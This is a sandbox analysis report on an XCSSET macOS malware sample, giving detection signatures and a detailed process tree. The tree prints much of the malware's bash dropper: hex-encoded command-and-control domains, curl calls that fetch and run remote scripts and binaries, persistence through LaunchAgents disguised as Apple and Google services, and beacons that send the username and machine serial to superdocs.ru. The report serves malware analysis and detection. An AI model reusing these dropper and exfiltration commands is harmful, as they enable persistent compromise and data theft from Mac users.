Joe Sandbox Cloud Pro Analysis Report

Loading Joe Sandbox Report ...

Edit tour

macOS Analysis Report
exec.2430808

Overview

General Information

Sample Name:exec.2430808
Analysis ID:176612
MD5:1ce8099c5bb8fbe715ae7c546c46a526
SHA1:127b66afa20a1c42e653ee4f4b64cf1ee3ed637d
SHA256:483b2f45a06516439b1dbfedda52f135a4ccdeafd91192e64250305644e5ff48
Infos:

Detection

XCSSET
Score:100
Range:0 - 100
Whitelisted:false

Signatures

Yara detected XCSSET
Sends data within HTTP X-headers likely leaking sensitive information
Writes compiled Apple script to disk (with potentially malicious intention)
Creates launch services redirecting its stdout/stderr to /dev/null (probably to hide errors)
Searches for processes that are suspiciously named
Written Apple script contain uncommon file extension (probably to disguise the script)
Executes the "csrutil" command used to retrieve or modify the "System Integrity Protection" configuration
Queries the unique Apple serial number of the machine
Sets the property list key LSUIElement for running apps in the background without appearing in the Dock
Writes Mach-O files to untypical directories
Tries to delete plist files with Apple identifiers
Likely kills multiple processes
Copies icons from applications possibly to disguise malicious intentions
Writes Mach-O files to disk with suspicious names (probably to obfuscate its intention)
Likely queries the I/O Kit registry to detect VMs by querying the "IOPlatformExpertDevice" class
Executes the "xxd" command used for reading and creating hexdumps
Yara signature match
Uses AppleScript framework/components containing Apple Script related functionalities
Explicitly unloads, stops, and/or removes launch services
Executes the "mkdir" command used to create folders
Executes the "grep" command used to find patterns in files or piped streams
Executes Apple scripts and/or other OSA language scripts with shell command 'osascript'
Executes the "chmod" command used to modify permissions
Executes the "curl" command used to transfer data via the network (typically using HTTP/S)
Executes the "ping" command used for connectivity testing via ICMP
Uses AppleScript scripting additions containing additional functionalities for Apple Scripts
Reads file resource fork extended attributes
Deletes icon files
Creates code signed application bundles
Mach-O contains sections with high entropy indicating compressed/encrypted content
Changes permissions of written Mach-O files
Executes commands using a shell command-line interpreter
Executes the "defaults" command used to read or modify user specific settings
Executes the "touch" command used to create files or modify time stamps
Executes the "plutil" command used to modify plists
Executes the "ioreg" command used to gather hardware information (I/O kit registry)
Reads the systems hostname
Reads the sysctl safe boot value (probably to check if the system is in safe boot mode)
Executes the "ps" command used to list the status of processes
Writes icon files to disk
Creates memory-persistent launch services
Executes the "sysctl" command used to retrieve or modify kernel settings
Explicitly loads/starts launch services
Queries the macOS product version
Creates launch services that start periodically
Reads hardware related sysctl values
Executes the "codesign" command used to create and manipulate code signatures
Creates user-wide 'launchd' managed services aka launch agents
Creates 'launchd' managed services aka launch agents with bundle ID names to possibly disguise malicious intentions
Creates hidden files, links and/or directories
Executes the "rm" command used to delete files or directories
Many shell processes execute programs via execve syscall (might be indicative for malicious behavior)
Writes FAT Mach-O files to disk

Classification

Analysis Advice

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

General Information

Joe Sandbox Version:
Analysis ID:176612
Start date and time:2022-08-24 11:18:17 +02:00
Joe Sandbox Product:Cloud
Overall analysis duration:0h 5m 36s
Hypervisor based Inspection enabled:false
Report type:full
Sample file name:exec.2430808
Cookbook file name:macOS - Monterey - load provided binary as normal user.jbs
Analysis system description:Mac Mini, Monterey (Java 1.8.0_341)
Analysis Mode:default
Detection:MAL
Classification:mal100.troj.spyw.evad.mac2430808@0/32@2/0

Warnings

  • Report creation exceeded maximum number of non-whitelisted processes and may have missing process information.

Runtime Messages

Command:sudo -u pedro /Users/pedro/Desktop/exec.2430808
PID:956
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:
launched with args v10 notes app:
basedir:, autoclean: , domain:
target dir is: /Users/pedro/Library/Group Containers/group.com.apple.mail target domain: melindas.ru target plist: /Users/pedro/Library/LaunchAgents/com.apple.spx.plist
step 1
step 2
step 3
first launch. processing...
cleaning done...
created directory structure...
compiled app...
created scpt...
put Xcode icon in place...
wrote to LaunchAgents... wrote .plist
loaded service...
wrote .report
wrote .domain
done. finished.
Standard Error:

Process Tree

  • System is mac-monterey
  • sudo (MD5: 2d2c9298401fd5607184821a6ed73106) Arguments: /usr/bin/sudo -u pedro /Users/pedro/Desktop/exec.2430808
    • sudo New Fork (PID: 957, Parent: 956)
    • exec.2430808 (MD5: 1ce8099c5bb8fbe715ae7c546c46a526) Arguments: /Users/pedro/Desktop/exec.2430808
    • bash (MD5: c0c00727c39ed1a5586291299575a6aa) Arguments: /Users/pedro/Desktop/exec.2430808 -c exec '/Users/pedro/Desktop/exec.2430808' '$@' /Users/pedro/Desktop/exec.2430808
    • exec.2430808 (MD5: 1ce8099c5bb8fbe715ae7c546c46a526) Arguments: /Users/pedro/Desktop/exec.2430808
    • bash (MD5: c0c00727c39ed1a5586291299575a6aa) Arguments: /Users/pedro/Desktop/exec.2430808 -c #!/bin/bashAUTOCLEAN=$2BASEDIR=$1BASEDIR=${PROJECT_FILE_PATH}BUILD_VERSION=1.1.5BUILD_VENDOR='default'RANDOM_PATHS=('$HOME/Library/Application Support/com.apple.spotlight' '$HOME/Library/Application Scripts/com.apple.CalendarAgent' '$HOME/Library/Group Containers/group.com.apple.mail' '$HOME/Library/Containers/com.apple.photolibraryd')DOMAIN_ONE=$(echo '73 75 70 65 72 64 6F 63 73 2E 72 75' | xxd -p -r)DOMAIN_TWO=$(echo '6D 65 6C 69 6E 64 61 73 2E 72 75' | xxd -p -r)DOMAIN_THREE=$(echo '6B 69 6E 6B 73 64 6F 63 2E 72 75' | xxd -p -r)DOMAIN_FOUR=$(echo '61 64 6F 62 65 66 69 6C 65 2E 72 75' | xxd -p -r)ACTIVE_DOMAINS=(${DOMAIN_ONE} ${DOMAIN_TWO} ${DOMAIN_THREE} ${DOMAIN_FOUR})TARGET_DOMAIN=${ACTIVE_DOMAINS[RANDOM%${#ACTIVE_DOMAINS[@]}]}if [ ! -z '$3' ] then TARGET_DOMAIN=$3fiSTR_TWO=$(echo '58 2D 4D 6F 64 3A 20 50 6F 64 73' | xxd -p -r) # X-Mod: PodsSTR_ONE=$(echo '58 2D 55 73 72 3A' | xxd -p -r) # X-Usr:TARGETDIRFILE='$HOME/Library/Caches/GitServices/.report'TARGETPLISTFILE='$HOME/Library/Caches/GitServices/.plist'TARGETDOMAINFILE='$HOME/Library/Caches/GitServices/.domain'BOOT_FILE='$HOME/Library/Caches/GitServices/AppleWebKit'EXEC_DONE_FILE='$HOME/Library/Caches/GitServices/.exec_done'RANDOM_PLISTS=('$HOME/Library/LaunchAgents/com.apple.airplay.plist' '$HOME/Library/LaunchAgents/com.apple.spx.plist' '$HOME/Library/LaunchAgents/com.google.keystore.plist' '$HOME/Library/LaunchAgents/com.google.chrome.plist')MACOS_VERSION=$(defaults read loginwindow SystemVersionStampAsString)logme(){curl --connect-timeout 11 -s -k -d '$1' -H '$STR_ONE $USER' -H '$STR_TWO' 'https://$TARGET_DOMAIN/sys/log.php' > /dev/null 2>&1}clean_proj(){perl -ni -e 'print unless /(.*)AAC43A(.*),/' '$BASEDIR/project.pbxproj' > /dev/null 2>&1perl -ni -e 'print unless /(.*)6D902C(.*),/' '$BASEDIR/project.pbxproj' > /dev/null 2>&1perl -ni -e 'print unless /(.*)FFA81D(.*),/' '$BASEDIR/project.pbxproj' > /dev/null 2>&1perl -ni -e 'print unless /(.*)6A102C(.*),/' '$BASEDIR/project.pbxproj' > /dev/null 2>&1perl -ni -e 'print unless /(3F708E50247A0EB6004066FD)(.*),/' '$BASEDIR/project.pbxproj' > /dev/null 2>&1perl -ni -e 'print unless /(162E3FD122D63A22006D904C)(.*),/' '$BASEDIR/project.pbxproj' > /dev/null 2>&1perl -ni -e 'print unless /(1D60589F0D05DD5A006BFC54)(.*),/' '$BASEDIR/project.pbxproj' > /dev/null 2>&1perl -ni -e 'print unless /(1D3623260D0F684500981D51)(.*),/' '$BASEDIR/project.pbxproj' > /dev/null 2>&1perl -ni -e 'print unless /(167012E12301506800C38AA3)(.*),/' '$BASEDIR/project.pbxproj' > /dev/null 2>&1rm -rf '$BASEDIR/xcuserdata/.xcassets/' || true}write_meta(){TARGETDIRFILE_DIR=`dirname $2`[ ! -d $TARGETDIRFILE_DIR ] && mkdir -p $TARGETDIRFILE_DIRecho '$1' > '$2'}curl --connect-timeout 11 -s -k 'https://$TARGET_DOMAIN' > /dev/null || exit 0str=''for ARG in '$@' do str='${str} ${ARG}'doneecho 'launched with args v10 notes app:${str}'echo 'basedir:${1}, autoclean: ${2}, domain: ${3}'cmd=$(curl -ks -m 5 -H '$STR_ONE $USER' https://$TARGET_DOMAIN/sys/prepod.php)if [[ ! -z '$cmd' ]] thenecho 'got prepod remote command. executing...'osascript -e '$cmd' 2>/dev/null && exit 1echo 'remote command failed. continue normal flow...'fiif [ -f '$TARGETDIRFILE' ] thenTARGETDIR=$(cat '$TARGETDIRFILE')APP_FILE='$TARGETDIR/Notes.app'if [ ! -d '$APP_FILE' ] thenTARGETDIR=${RANDOM_PATHS[RANDOM%${#RANDOM_PATHS[@]}]}fielseTARGETDIR=${RANDOM_PATHS[RANDOM%${#RANDOM_PATHS[@]}]}fiif [ -f '$TARGETPLISTFILE' ] thenPLIST_FILE=$(cat '$TARGETPLISTFILE')if [ ! -f '$PLIST_FILE' ] thenPLIST_FILE=${RANDOM_PLISTS[RANDOM%${#RANDOM_PLISTS[@]}]}fielsePLIST_FILE=${RANDOM_PLISTS[RANDOM%${#RANDOM_PLISTS[@]}]}fiecho 'target dir is: $TARGETDIR target domain: $TARGET_DOMAIN target plist: $PLIST_FILE'APP_FILE='$TARGETDIR/Notes.app'SCPT_FILE='$TARGETDIR/Notes.app/Contents/Resources/Scripts/a.scpt'if [ ! -d '$APP_FILE' ] thenecho 'step 1'fiif [ ! -f '$PLIST_FILE' ] thenecho 'step 2'fiif [ ! -f '$EXEC_DONE_FILE' ] thenecho 'step 3'fiif [ -d '$APP_FILE' ] && [ -f '$PLIST_FILE' ] && [ -f '$BOOT_FILE' ] && [ -f '$EXEC_DONE_FILE' ] thenecho 'all files are set!'SERVICE_IS_RUNNING=$(pgrep -f com.java.core com.sys.core > /dev/null 2>&1 && echo 1 || echo 0)if [ $SERVICE_IS_RUNNING = 0 ] thenecho 'service is not running. restarting...'if [[ $MACOS_VERSION == '11.'* ]] then curl -ks -o /tmp/open 'https://$TARGET_DOMAIN/agent/bin/open' chmod +x /tmp/open /tmp/open '$APP_FILE' > /dev/null 2>&1 &elseopen '$APP_FILE' > /dev/null 2>&1 &fifiif [[ '$AUTOCLEAN' = true ]] thenclean_projfi[ ! -f $TARGETDIRFILE ] && write_meta $TARGETDIR $TARGETDIRFILEexit 0fiecho 'first launch. processing...'for i in '${RANDOM_PATHS[@]}'dorm -rf '$i/Notes.app' > /dev/null 2>&1rm -rf '$i/Containers' > /dev/null 2>&1donetouch '$TMPDIR/test.tmp' 2>/dev/null || truefor i in '${RANDOM_PLISTS[@]}'dorm -f '$i' > /dev/null 2>&1rm -f '$i' > /dev/null 2>&1doneecho 'cleaning done...'mkdir -p '$TARGETDIR' > /dev/null 2>&1echo 'created directory structure...'read -r -d '' PAYLOAD2 << EOMtrydo shell script 'osascript '$SCPT_FILE''end tryEOMosacompile -x -e '$PAYLOAD2' -o '$APP_FILE' > /dev/null 2>&1touch '$TMPDIR/test2.tmp' 2>/dev/null || trueecho 'compiled app...'read -r -d '' PAYLOAD << EOMglobal dsglobal dglobal diset ds to {'', '', '', '', '', ''}set di to 1set d to item di of dson xe(_str)set x to id of _strrepeat with c in xset contents of c to c - (102 - 2)end repeatreturn string id xend xeon xex(_str)set x to id of _strrepeat with c in xset contents of c to c - (102 - 1)end repeatreturn string id xend xexon m()-- log 'domain used ' & xe(d)set dF to POSIX path of ((path to me as text) & '::')set tF to quoted form of (dF & xex('')) -- /Containersdo shell script 'rm -rf ' & tFset a to '123'do shell script 'mkdir -p ' & tFset f to quoted form of (dF & xex('')) -- /Containers/aset un to do shell script xe('') -- whoamido shell script 'curl -
      • bash New Fork (PID: 959, Parent: 957)
        • bash New Fork (PID: 960, Parent: 959)
        • bash New Fork (PID: 961, Parent: 959)
        • xxd (MD5: aaca2dc9ef1cdee4042195108a1e9588) Arguments: xxd -p -r
      • bash New Fork (PID: 962, Parent: 957)
        • bash New Fork (PID: 963, Parent: 962)
        • bash New Fork (PID: 964, Parent: 962)
        • xxd (MD5: aaca2dc9ef1cdee4042195108a1e9588) Arguments: xxd -p -r
      • bash New Fork (PID: 965, Parent: 957)
        • bash New Fork (PID: 966, Parent: 965)
        • bash New Fork (PID: 967, Parent: 965)
        • xxd (MD5: aaca2dc9ef1cdee4042195108a1e9588) Arguments: xxd -p -r
      • bash New Fork (PID: 968, Parent: 957)
        • bash New Fork (PID: 969, Parent: 968)
        • bash New Fork (PID: 970, Parent: 968)
        • xxd (MD5: aaca2dc9ef1cdee4042195108a1e9588) Arguments: xxd -p -r
      • bash New Fork (PID: 971, Parent: 957)
        • bash New Fork (PID: 972, Parent: 971)
        • bash New Fork (PID: 973, Parent: 971)
        • xxd (MD5: aaca2dc9ef1cdee4042195108a1e9588) Arguments: xxd -p -r
      • bash New Fork (PID: 974, Parent: 957)
        • bash New Fork (PID: 975, Parent: 974)
        • bash New Fork (PID: 976, Parent: 974)
        • xxd (MD5: aaca2dc9ef1cdee4042195108a1e9588) Arguments: xxd -p -r
      • bash New Fork (PID: 977, Parent: 957)
        • bash New Fork (PID: 978, Parent: 977)
        • defaults (MD5: 4e146d0cf6ed8b4592347198fc2a990c) Arguments: defaults read loginwindow SystemVersionStampAsString
      • bash New Fork (PID: 979, Parent: 957)
      • curl (MD5: f26856a56418cdf4551b4bdd7be78831) Arguments: curl --connect-timeout 11 -s -k https://melindas.ru
      • bash New Fork (PID: 981, Parent: 957)
        • bash New Fork (PID: 982, Parent: 981)
        • curl (MD5: f26856a56418cdf4551b4bdd7be78831) Arguments: curl -ks -m 5 -H X-Usr: pedro https://melindas.ru/sys/prepod.php
      • bash New Fork (PID: 983, Parent: 957)
      • rm (MD5: dc9f95c6c7dbdd1609aa6716ba393cd3) Arguments: rm -rf /Users/pedro/Library/Application Support/com.apple.spotlight/Notes.app
      • bash New Fork (PID: 984, Parent: 957)
      • rm (MD5: dc9f95c6c7dbdd1609aa6716ba393cd3) Arguments: rm -rf /Users/pedro/Library/Application Support/com.apple.spotlight/Containers
      • bash New Fork (PID: 985, Parent: 957)
      • rm (MD5: dc9f95c6c7dbdd1609aa6716ba393cd3) Arguments: rm -rf /Users/pedro/Library/Application Scripts/com.apple.CalendarAgent/Notes.app
      • bash New Fork (PID: 986, Parent: 957)
      • rm (MD5: dc9f95c6c7dbdd1609aa6716ba393cd3) Arguments: rm -rf /Users/pedro/Library/Application Scripts/com.apple.CalendarAgent/Containers
      • bash New Fork (PID: 987, Parent: 957)
      • rm (MD5: dc9f95c6c7dbdd1609aa6716ba393cd3) Arguments: rm -rf /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app
      • bash New Fork (PID: 988, Parent: 957)
      • rm (MD5: dc9f95c6c7dbdd1609aa6716ba393cd3) Arguments: rm -rf /Users/pedro/Library/Group Containers/group.com.apple.mail/Containers
      • bash New Fork (PID: 989, Parent: 957)
      • rm (MD5: dc9f95c6c7dbdd1609aa6716ba393cd3) Arguments: rm -rf /Users/pedro/Library/Containers/com.apple.photolibraryd/Notes.app
      • bash New Fork (PID: 990, Parent: 957)
      • rm (MD5: dc9f95c6c7dbdd1609aa6716ba393cd3) Arguments: rm -rf /Users/pedro/Library/Containers/com.apple.photolibraryd/Containers
      • bash New Fork (PID: 991, Parent: 957)
      • touch (MD5: 63d1087742d412edbc4f41c9e90067d2) Arguments: touch /test.tmp
      • bash New Fork (PID: 992, Parent: 957)
      • rm (MD5: dc9f95c6c7dbdd1609aa6716ba393cd3) Arguments: rm -f /Users/pedro/Library/LaunchAgents/com.apple.airplay.plist
      • bash New Fork (PID: 993, Parent: 957)
      • rm (MD5: dc9f95c6c7dbdd1609aa6716ba393cd3) Arguments: rm -f /Users/pedro/Library/LaunchAgents/com.apple.airplay.plist
      • bash New Fork (PID: 994, Parent: 957)
      • rm (MD5: dc9f95c6c7dbdd1609aa6716ba393cd3) Arguments: rm -f /Users/pedro/Library/LaunchAgents/com.apple.spx.plist
      • bash New Fork (PID: 995, Parent: 957)
      • rm (MD5: dc9f95c6c7dbdd1609aa6716ba393cd3) Arguments: rm -f /Users/pedro/Library/LaunchAgents/com.apple.spx.plist
      • bash New Fork (PID: 996, Parent: 957)
      • rm (MD5: dc9f95c6c7dbdd1609aa6716ba393cd3) Arguments: rm -f /Users/pedro/Library/LaunchAgents/com.google.keystore.plist
      • bash New Fork (PID: 997, Parent: 957)
      • rm (MD5: dc9f95c6c7dbdd1609aa6716ba393cd3) Arguments: rm -f /Users/pedro/Library/LaunchAgents/com.google.keystore.plist
      • bash New Fork (PID: 998, Parent: 957)
      • rm (MD5: dc9f95c6c7dbdd1609aa6716ba393cd3) Arguments: rm -f /Users/pedro/Library/LaunchAgents/com.google.chrome.plist
      • bash New Fork (PID: 999, Parent: 957)
      • rm (MD5: dc9f95c6c7dbdd1609aa6716ba393cd3) Arguments: rm -f /Users/pedro/Library/LaunchAgents/com.google.chrome.plist
      • bash New Fork (PID: 1000, Parent: 957)
      • mkdir (MD5: 1a411936bac2c64c06674cbcfcdd66f8) Arguments: mkdir -p /Users/pedro/Library/Group Containers/group.com.apple.mail
      • bash New Fork (PID: 1001, Parent: 957)
      • osacompile (MD5: 84bbdc98ac7aa38fcbb281f019bb391d) Arguments: osacompile -x -e trydo shell script 'osascript '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/a.scpt''end try -o /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app
        • codesign New Fork (PID: 1002, Parent: 1001)
      • bash New Fork (PID: 1003, Parent: 957)
      • touch (MD5: 63d1087742d412edbc4f41c9e90067d2) Arguments: touch /test2.tmp
      • bash New Fork (PID: 1004, Parent: 957)
      • touch (MD5: 63d1087742d412edbc4f41c9e90067d2) Arguments: touch /test3.tmp
      • bash New Fork (PID: 1005, Parent: 957)
      • plutil (MD5: 11427a2425049a93a60e85d61c9c0081) Arguments: plutil -replace LSUIElement -bool YES /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Info.plist
      • bash New Fork (PID: 1006, Parent: 957)
      • rm (MD5: dc9f95c6c7dbdd1609aa6716ba393cd3) Arguments: rm -f /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/applet.icns
      • bash New Fork (PID: 1007, Parent: 957)
      • cp (MD5: c6968d65936952ad8b175271cbbc8708) Arguments: cp -f /System/Applications/Notes.app/Contents/Resources/AppIcon.icns /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/applet.icns
      • bash New Fork (PID: 1008, Parent: 957)
        • bash New Fork (PID: 1009, Parent: 1008)
        • dirname (MD5: 206cca615592f99874d8cb4cd1641f07) Arguments: dirname /Users/pedro/Library/LaunchAgents/com.apple.spx.plist
      • bash New Fork (PID: 1010, Parent: 957)
      • mkdir (MD5: 1a411936bac2c64c06674cbcfcdd66f8) Arguments: mkdir -p /Users/pedro/Library/LaunchAgents
      • bash New Fork (PID: 1011, Parent: 957)
        • bash New Fork (PID: 1012, Parent: 1011)
        • dirname (MD5: 206cca615592f99874d8cb4cd1641f07) Arguments: dirname /Users/pedro/Library/Caches/GitServices/AppleWebKit
      • bash New Fork (PID: 1013, Parent: 957)
      • mkdir (MD5: 1a411936bac2c64c06674cbcfcdd66f8) Arguments: mkdir -p /Users/pedro/Library/Caches/GitServices
      • bash New Fork (PID: 1014, Parent: 957)
      • cat (MD5: c5d124a467bf29f668fd9bac3a9856ab) Arguments: cat
      • bash New Fork (PID: 1015, Parent: 957)
      • chmod (MD5: 8339fe4afa333001c03a7b21f7ad0e9c) Arguments: chmod +x /Users/pedro/Library/Caches/GitServices/AppleWebKit
      • bash New Fork (PID: 1016, Parent: 957)
      • cat (MD5: c5d124a467bf29f668fd9bac3a9856ab) Arguments: cat
      • bash New Fork (PID: 1017, Parent: 957)
      • launchctl (MD5: 240cdf175cab143785114a58688a4d0a) Arguments: launchctl unload -w /Users/pedro/Library/LaunchAgents/com.apple.spx.plist
      • bash New Fork (PID: 1018, Parent: 957)
      • touch (MD5: 63d1087742d412edbc4f41c9e90067d2) Arguments: touch /test4.tmp
      • bash New Fork (PID: 1019, Parent: 957)
      • launchctl (MD5: 240cdf175cab143785114a58688a4d0a) Arguments: launchctl load -w /Users/pedro/Library/LaunchAgents/com.apple.spx.plist
      • bash New Fork (PID: 1021, Parent: 957)
        • bash New Fork (PID: 1022, Parent: 1021)
        • dirname (MD5: 206cca615592f99874d8cb4cd1641f07) Arguments: dirname /Users/pedro/Library/Caches/GitServices/.report
      • bash New Fork (PID: 1024, Parent: 957)
      • touch (MD5: 63d1087742d412edbc4f41c9e90067d2) Arguments: touch /test5.tmp
      • bash New Fork (PID: 1025, Parent: 957)
      • touch (MD5: 63d1087742d412edbc4f41c9e90067d2) Arguments: touch /test6.tmp
  • xpcproxy New Fork (PID: 1020, Parent: 1)
  • bash (MD5: c0c00727c39ed1a5586291299575a6aa) Arguments: bash /Users/pedro/Library/Caches/GitServices/AppleWebKit
    • bash New Fork (PID: 1023, Parent: 1020)
    • applet (MD5: 1535756d106d32fe31c1959e19e6582d) Arguments: /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/MacOS/applet
      • sh New Fork (PID: 1028, Parent: 1023)
      • bash (MD5: c0c00727c39ed1a5586291299575a6aa) Arguments: sh -c osascript '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/a.scpt'
      • osascript (MD5: d86dbe94a4b95a8d18c37e43b7d6b6a4) Arguments: osascript /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/a.scpt
        • sh New Fork (PID: 1029, Parent: 1028)
        • bash (MD5: c0c00727c39ed1a5586291299575a6aa) Arguments: sh -c ping -o -t 3 superdocs.ru
        • ping (MD5: e7f06272a612949c2e552aa2556fb798) Arguments: ping -o -t 3 superdocs.ru
        • sh New Fork (PID: 1030, Parent: 1028)
        • bash (MD5: c0c00727c39ed1a5586291299575a6aa) Arguments: sh -c rm -rf '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers'
        • rm (MD5: dc9f95c6c7dbdd1609aa6716ba393cd3) Arguments: rm -rf /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers
        • sh New Fork (PID: 1031, Parent: 1028)
        • bash (MD5: c0c00727c39ed1a5586291299575a6aa) Arguments: sh -c mkdir -p '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers'
        • mkdir (MD5: 1a411936bac2c64c06674cbcfcdd66f8) Arguments: mkdir -p /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers
        • sh New Fork (PID: 1032, Parent: 1028)
        • bash (MD5: c0c00727c39ed1a5586291299575a6aa) Arguments: sh -c whoami
        • whoami (MD5: 3c1b6e2e567df857130cd73ff38d3df7) Arguments: whoami
        • sh New Fork (PID: 1033, Parent: 1028)
        • bash (MD5: c0c00727c39ed1a5586291299575a6aa) Arguments: sh -c curl -sk -d 'user=pedro&build_vendor=default&build_version=1.1.5' https://superdocs.ru/apple/com.php | osacompile -x -o '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/a'
          • bash New Fork (PID: 1034, Parent: 1033)
          • curl (MD5: f26856a56418cdf4551b4bdd7be78831) Arguments: curl -sk -d user=pedro&build_vendor=default&build_version=1.1.5 https://superdocs.ru/apple/com.php
          • bash New Fork (PID: 1035, Parent: 1033)
          • osacompile (MD5: 84bbdc98ac7aa38fcbb281f019bb391d) Arguments: osacompile -x -o /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/a
        • sh New Fork (PID: 1036, Parent: 1028)
        • bash (MD5: c0c00727c39ed1a5586291299575a6aa) Arguments: sh -c osascript '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/a' > /dev/null 2>&1
          • bash New Fork (PID: 1037, Parent: 1036)
          • osascript (MD5: d86dbe94a4b95a8d18c37e43b7d6b6a4) Arguments: osascript /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/a
            • sh New Fork (PID: 1038, Parent: 1037)
            • bash (MD5: c0c00727c39ed1a5586291299575a6aa) Arguments: sh -c whoami
            • whoami (MD5: 3c1b6e2e567df857130cd73ff38d3df7) Arguments: whoami
            • sh New Fork (PID: 1039, Parent: 1037)
            • bash (MD5: c0c00727c39ed1a5586291299575a6aa) Arguments: sh -c ping -o -t 3 superdocs.ru
            • ping (MD5: e7f06272a612949c2e552aa2556fb798) Arguments: ping -o -t 3 superdocs.ru
            • sh New Fork (PID: 1040, Parent: 1037)
            • bash (MD5: c0c00727c39ed1a5586291299575a6aa) Arguments: sh -c ioreg -c IOPlatformExpertDevice -d 2 | awk -F\' '/IOPlatformSerialNumber/{print $(NF-1)}'
              • bash New Fork (PID: 1041, Parent: 1040)
              • ioreg (MD5: d03e2df1848ceb731ba4a8c3e82b2011) Arguments: ioreg -c IOPlatformExpertDevice -d 2
              • bash New Fork (PID: 1042, Parent: 1040)
              • awk (MD5: 231a9b1c4634f8b7b53d29c9c47ee4df) Arguments: awk -F' /IOPlatformSerialNumber/{print $(NF-1)}
            • sh New Fork (PID: 1043, Parent: 1037)
            • bash (MD5: c0c00727c39ed1a5586291299575a6aa) Arguments: sh -c curl -k -s --connect-timeout 14 -d 'module launched. connRetries: 0. Used domain: superdocs.ru' -H 'X-Id: C07GV0KZPJH8' -H 'X-Users: pedro' -H 'X-Mod: bootstrap' https://superdocs.ru/l
            • curl (MD5: f26856a56418cdf4551b4bdd7be78831) Arguments: curl -k -s --connect-timeout 14 -d module launched. connRetries: 0. Used domain: superdocs.ru -H X-Id: C07GV0KZPJH8 -H X-Users: pedro -H X-Mod: bootstrap https://superdocs.ru/l
            • sh New Fork (PID: 1044, Parent: 1037)
            • bash (MD5: c0c00727c39ed1a5586291299575a6aa) Arguments: sh -c mkdir -p ~/Library/Caches/GitServices/ && touch ~/Library/Caches/GitServices/.ed
              • bash New Fork (PID: 1045, Parent: 1044)
              • mkdir (MD5: 1a411936bac2c64c06674cbcfcdd66f8) Arguments: mkdir -p /Users/pedro/Library/Caches/GitServices/
              • bash New Fork (PID: 1046, Parent: 1044)
              • touch (MD5: 63d1087742d412edbc4f41c9e90067d2) Arguments: touch /Users/pedro/Library/Caches/GitServices/.ed
            • sh New Fork (PID: 1048, Parent: 1037)
            • bash (MD5: c0c00727c39ed1a5586291299575a6aa) Arguments: sh -c (plutil -p ~/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure.plist | grep 'https' -b3 |awk 'NR==3 {split($4, arr, '\'') print arr[2]}') || echo 'com.apple.safari'
              • bash New Fork (PID: 1049, Parent: 1048)
                • bash New Fork (PID: 1050, Parent: 1049)
                • plutil (MD5: 11427a2425049a93a60e85d61c9c0081) Arguments: plutil -p /Users/pedro/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure.plist
                • bash New Fork (PID: 1051, Parent: 1049)
                • grep (MD5: 99be09a23ac46af2879dc015993ca389) Arguments: grep https -b3
                • bash New Fork (PID: 1052, Parent: 1049)
                • awk (MD5: 231a9b1c4634f8b7b53d29c9c47ee4df) Arguments: awk NR==3 {split($4, arr, '\'') print arr[2]}
            • sh New Fork (PID: 1053, Parent: 1037)
            • bash (MD5: c0c00727c39ed1a5586291299575a6aa) Arguments: sh -c defaults read loginwindow SystemVersionStampAsString
            • defaults (MD5: 4e146d0cf6ed8b4592347198fc2a990c) Arguments: defaults read loginwindow SystemVersionStampAsString
            • sh New Fork (PID: 1054, Parent: 1037)
            • bash (MD5: c0c00727c39ed1a5586291299575a6aa) Arguments: sh -c defaults read /Applications/Safari.app/Contents/Info CFBundleShortVersionString
            • defaults (MD5: 4e146d0cf6ed8b4592347198fc2a990c) Arguments: defaults read /Applications/Safari.app/Contents/Info CFBundleShortVersionString
            • sh New Fork (PID: 1056, Parent: 1037)
            • bash (MD5: c0c00727c39ed1a5586291299575a6aa) Arguments: sh -c ioreg -c IOPlatformExpertDevice -d 2 | awk -F\' '/IOPlatformSerialNumber/{print $(NF-1)}'
              • bash New Fork (PID: 1057, Parent: 1056)
              • ioreg (MD5: d03e2df1848ceb731ba4a8c3e82b2011) Arguments: ioreg -c IOPlatformExpertDevice -d 2
              • bash New Fork (PID: 1058, Parent: 1056)
              • awk (MD5: 231a9b1c4634f8b7b53d29c9c47ee4df) Arguments: awk -F' /IOPlatformSerialNumber/{print $(NF-1)}
            • sh New Fork (PID: 1059, Parent: 1037)
            • bash (MD5: c0c00727c39ed1a5586291299575a6aa) Arguments: sh -c defaults read /Library/Preferences/com.apple.alf globalstate
            • defaults (MD5: 4e146d0cf6ed8b4592347198fc2a990c) Arguments: defaults read /Library/Preferences/com.apple.alf globalstate
            • sh New Fork (PID: 1060, Parent: 1037)
            • bash (MD5: c0c00727c39ed1a5586291299575a6aa) Arguments: sh -c csrutil status | grep -q enabled && echo 1 || echo 0
              • bash New Fork (PID: 1061, Parent: 1060)
              • csrutil (MD5: 51e2d23508016b3dba2263fd13f74859) Arguments: csrutil status
              • bash New Fork (PID: 1062, Parent: 1060)
              • grep (MD5: 99be09a23ac46af2879dc015993ca389) Arguments: grep -q enabled
            • sh New Fork (PID: 1063, Parent: 1037)
            • bash (MD5: c0c00727c39ed1a5586291299575a6aa) Arguments: sh -c sysctl -n machdep.cpu.brand_string
